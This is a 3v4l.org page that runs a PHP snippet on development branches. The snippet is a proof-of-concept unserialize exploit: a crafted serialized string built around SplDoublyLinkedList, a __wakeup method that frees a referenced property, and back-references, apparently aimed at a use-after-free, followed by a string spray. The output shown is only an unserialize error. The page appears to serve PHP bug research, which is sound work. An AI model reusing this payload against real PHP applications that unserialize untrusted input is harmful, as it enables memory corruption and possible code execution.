3v4l.org

run code in 300+ PHP versions simultaneously
<?php class a { public $a; function __wakeup() { //foreach ($this->a as $aa) { // echo($aa); //} $this->a=null; } } $inner = 'i:1;:i:1711;:i:1712;:O:1:"a":1:{s:1:"a";R:2;}:i:13;'; $exploit = 'a:3:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;O:1:"a":1:{s:1:"a";i:2;}i:2;r:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for git.master, git.master_jit
Notice: unserialize(): Error at offset 128 of 129 bytes in /in/J21qZ on line 15 bool(false)
Output for rfc.property-hooks
Warning: unserialize(): Error at offset 128 of 129 bytes in /in/J21qZ on line 15 bool(false)

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
56.68 ms | 401 KiB | 8 Q